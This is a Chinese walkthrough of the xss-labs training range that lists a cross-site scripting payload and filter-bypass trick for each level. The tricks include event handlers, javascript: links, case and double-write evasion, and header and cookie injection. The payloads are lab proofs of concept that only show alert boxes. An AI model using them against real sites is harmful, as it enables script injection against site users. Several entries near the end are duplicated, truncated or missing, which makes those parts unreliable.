xss-labs靶场详解
靶场下载
下载地址:https://github.com/do0dl3/xss-labs
关卡
level1
观察到get传参直接被写入到html中
payload:
.....?name=<script>alert(1)</script>
level2
第二关观察到同样被写到html中,使用上一关的payload发现没有成功,查看源代码发现是被转义了,但下面并没有,选择闭合括号
payload
"><script>alert(1)</script>
level3
第三关连引号也被转义,不能通过构造闭合,可以利用onfocus事件过关
payload
' onfocus=javascript:alert() '
' onfocus=alert('a') '
level4
payload
" onclick="alert(123)
level5
发现对script,onclick进行了过滤,使用超链接来进行弹窗
payload
'"><a href='javascript:alert(123);'>1</a>
level6
对<script>过滤但不是无论大小写
payload
"><Script>alert(1)</script>
level7
双写通过
payload
"><scscriptript>alert(1)</sscriptcript>
level8
对javascript过滤,发现传入内容成为了超链接标签的href属性中,属性的值是可以通过编码绕过的
payload
javascript:alert("jaden") //进制ascii码
level9
payload
javascript:alert("jaden")//http://www.baidu.com
level10
查看源码后发现应该穿入的参数名为t_sort
payload
aa" onfocus=alert(111) type="text">
level11
原理同上,只不过是通过Refere请求头传入,建议使用chrome插件ModHeader - Modify HTTP headers
payload
aa" onfocus=alert(111) type="text">
level12
原理同上,只不过是通过User-Agent请求头传入
payload
aa" onfocus=alert(111) type="text">
level13
Cookie注入
payload
user=" onfocus=alert() type="text
level14
payload
level15
AngularJS ng-include指令
定义和用法
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
语法:
< element ng-include= "filename" οnlοad= "expression" autoscroll= "expression" > < /element >
ng-include 指令作为元素使用:
< ng-include src= "filename" οnlοad= "expression" autoscroll= "expression" > < /ng-include >
值 | 描述 |
---|---|
filename | 文件名,可以使用表达式来返回文件名。 |
onload | 可选, 文件载入后执行的表达式。 |
autoscroll | 可选,包含的部分是否在指定视图上可滚动。 |
payload
?src='./level1.php?name=<img src=1 onmouseover=alert()>' //鼠标移动到第一关的图片上即可
level16
payload
?keyword=<svg%0Aonload=alert(1)>
level17
payload
?arg01=a&arg02= onmouseover=alert(1)
level18
payload
?arg01=a&arg02= onmouseover=alert(1)
level19
XSS-labs Level 19 Flash XSS
payload
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
level20
payload
XSS-labs Level 19 Flash XSS](https://blog.csdn.net/u014029795/article/details/103213877)
payload
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
level20
payload